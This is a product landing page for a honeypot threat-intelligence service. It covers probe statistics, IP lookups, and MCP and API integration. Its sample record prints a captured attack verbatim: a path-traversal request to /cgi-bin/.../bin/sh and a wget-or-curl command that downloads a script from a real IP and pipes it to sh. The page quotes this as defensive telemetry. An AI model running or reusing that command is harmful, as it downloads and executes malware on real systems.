HoneyLabs

Internet-Scale Honeypot Telemetry, Engineered for Your Stack

Equip your defenses with real-time internet scanning data. From raw payloads to live CVE tracking, get the exact threat intelligence you need, fully integrated into your existing workflows.

Browse CVEs

$ curl honeylabs.net/lookup/<ip> returns JSON. for MCP and JSON-RPC.

CVEs in the wild: a live tracker of what is actually being exploited, with pre-disclosure detection.

Captured so far

36,800,000+

probes

207,000+: source addresses
7,550+: networks
197: countries

+2,280,000 in the last seven days

What one record holds

A connection from 28 August, printed as it is stored.

Methodology

source124.158.13.4:37012

networkAS38733 · Vietnam

targettcp/443 · POST

path/cgi-bin/%%32%65%%32%65/…/%%32%65%%32%65/bin/sh

bytes781 in · 154 out · 1.54s

ja4t13i170900_5b57614c22b0_78e6aca7449b

ja310a627ad22b67741a3319a1d42cbf0a6

ja4hpo11nn0700_765287bee650

agentlibredtail-http

tlsTLSv1.3

payload, kept byte for byte

(wget --no-check-certificate -qO- https://217.60.195.113/sh || curl -sk https://217.60.195.113/sh) | sh -s apache

This address has come back 96 times since 22 August, and the pipeline flagged two of those as loader delivery rather than a scan. That JA4 is on 1,046 addresses across 304 networks in 69 countries. The addresses rotate; the fingerprint does not, which is the query a payload archive answers and a blocklist cannot.

Worked out on top

2,454CVEs matched against payloads
77,553loader deliveries identified
7,890from addresses
8,225fingerprint values clustered

Research scanners are classified apart, so a verdict means someone chose you.

44 fields on every record

when3
source11
target8
payload7
identity13
record2

Seven days on a free account, ninety on Pro. Nothing sampled, nothing summarised away.

One lookup, the whole picture

A live report for a single IP. Verdict, evidence, and every entity is a thread to pull.

Open the full report

Recognized scanner, strong evidence

80.82.77.202

AS202425 IP Volume inc·The Netherlands·Group-IB (commercial)

392.2K

events

240

distinct ports

Feb 16

first seen

Aug 15

last seen

Ports it swept

7895 5000Web-alt 1293 9955 1198 9201

TLS fingerprint

t13i191000_9dc949149365_be53661681a4

Search by

AS202425 port:7895 JA4 cluster country:NL

JA4 cluster2

Ports swept240

Rotating UAs8

Works with what you already run

Ask it from your assistant, or wire it into the stack you have.

All integrations

Ask it from your assistantModel Context Protocol, the first-class path

Claude Code
Claude Desktop
claude.ai
Cursor
VS Code
Gemini
Cline
any MCP client

$ claude mcp add honeylabs --transport http https://mcp.honeylabs.net/mcp

Nine tools covering enrichment, fingerprint search, payload search and time series. Sign in with OAuth on first connect, or paste a bearer key. Set up MCP

Into your security stackTwo of our feeds ship in MISP’s own defaults

Wire formatsREST · JSON-RPC · MCP · TAXII 2.1 · MISP feed · Feeds and tokens

Bring it into your stack

Same data and the same auth over curl, MCP and JSON-RPC, or through the tool you already run.

All integrations

Browser or curl

GET /lookup/<ip>

Any public IPv4, no account. Paste it in a browser for the full report, or fetch the same URL from a script: you get JSON for curl / wget / an explicit Accept header, or append ?format=json.

https://honeylabs.net/lookup/<ip>
curl https://honeylabs.net/lookup/<ip>
curl -H "Accept: application/json" https://honeylabs.net/lookup/<ip>

Rate limited to 60 different lookups an hour per source IP. No account.

From Claude, Cursor, or anything

POST /mcp

Streamable HTTP transport. Eight tools covering attacker enrichment, fingerprint search, payload search, and time-series.

claude mcp add honeylabs \
  --transport http \
  https://mcp.honeylabs.net/mcp \
  --header "Authorization: Bearer <key>"

Free tier: 500 credits/day. Pro: 50k/day with 90-day history. 1 credit = 1 row of data returned. Get a key from the dashboard.

Direct API for your own code

POST /mcp

Skip the MCP client. POST a JSON-RPC envelope, get an SSE response back. Same bearer auth as the MCP tab.

curl -X POST https://mcp.honeylabs.net/mcp \
  -H "Authorization: Bearer <key>" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json, text/event-stream" \
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'

Use tools/list to enumerate, tools/call to invoke. Standard MCP wire format.

Explore the live dataset

What is hitting the sensors right now. Click any row to open a filtered view.

Browse all

Top ports24h

loading…

Top source networks24h

loading…

Top HTTP fingerprintsJA4H · 24h

loading…

Emerging campaigns

One fingerprint carried by many IPs across only a few networks usually means a coordinated operation.

See all

…

loading…

Look up an address you are already seeing

One lookup needs no account. A free one searches seven days and gives you an API key for MCP and HTTP.

Create a free account See pricing